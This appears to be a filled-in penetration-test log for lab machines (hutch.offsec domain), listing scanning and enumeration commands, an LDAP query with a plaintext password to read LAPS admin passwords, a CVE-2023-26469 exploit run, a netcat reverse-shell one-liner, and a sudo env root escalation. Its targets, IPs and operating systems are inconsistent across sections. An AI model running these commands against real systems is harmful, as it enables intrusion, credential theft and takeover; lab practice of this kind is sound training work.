🧪 Pentest Log: {{date:2025-07-30}}

🔍 Target Information

• Machine Name: hokkaido
• IP Address: 192.168.148.40
• Operating System: Windows

ip=192.168.148.40

📡 Enumeration

🔌 Port Scanning

Command Used

ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) 

nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt

nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt

Port 53

dig ANY @$ip <DOMAIN>

dig axfr @$ip

Port 80

Web Content Enumeration

gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt

dirsearch -u http://$ip -r -o dirsearch.txt

Port 88

Port 135

Port 139/445

smbclient -L \\\\$ip\\

enum4linux -a $ip

Port 389, 636, 3268, 3269

ldapsearch -H ldap://$ip -x -s base namingcontexts

ldapsearch -H ldap://$ip -x -b"DC=hutch,DC=offsec" > ldap_dump.txt

ldapsearch -v -c -D fmcsorley@hutch.offsec -w CrabSharkJellyfish192 -b "DC=hutch,DC=offsec" -H ldap://$ip "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd

Port 1433

Port 8530

💣 Exploitation

📌 Vulnerability Summary

• Service / Port: 80
• Vulnerability Type: RCE

🚀 Exploit Execution

🔧 Exploit Method

• Manual
• Public Exploit
• Custom Script

Tool / Script Used:

CVE-2023-26469

python3 exploit.py http://192.168.176.109/


rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.163 9090 >/tmp/f

nc -lvnp 9090

🧬 Privilege Escalation

👤 Current Access

• User: jordak
• Groups: jordak, sudo
• Shell Type: php reverse shell

🔍 Enumeration

Sudo Check:

sudo -l

found

User jordak may run the following commands on jordak:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: /usr/bin/env

🔓 Privilege Escalation Exploit

📌 Exploit Summary

• Technique Used: Sudo Misconfiguration
• Target Binary/Service: env
• Reference / Source: GTFOBins

🔧 Exploit Steps

• Smash to root

sudo env /bin/sh